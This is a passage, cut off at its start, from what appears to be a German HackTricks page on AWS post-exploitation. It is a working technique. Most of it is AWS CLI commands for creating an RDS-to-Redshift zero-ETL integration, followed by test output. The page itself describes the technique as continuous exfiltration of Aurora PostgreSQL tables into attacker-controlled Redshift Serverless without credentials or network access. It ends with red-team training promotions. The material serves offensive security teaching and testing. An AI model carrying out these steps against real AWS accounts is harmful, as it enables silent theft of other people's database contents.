rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Erstelle die zero‑ETL-Integration von RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Replizierte Daten in Redshift materialisieren und abfragen ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Beobachtete Hinweise im Test:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:…377a462b-…
  • SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und state PendingDbConnectState vor der DB-Erstellung.
  • Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; Abfrage von ztl.customers gab 2 Zeilen zurück (Alice, Bob).

Auswirkung: Kontinuierliche, nahezu in Echtzeit erfolgende exfiltration ausgewählter Aurora PostgreSQL-Tabellen in vom Angreifer kontrolliertes Redshift Serverless, ohne Verwendung von Datenbank-Anmeldeinformationen, Sicherungen oder Netzwerkzugang zum Quell-Cluster.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks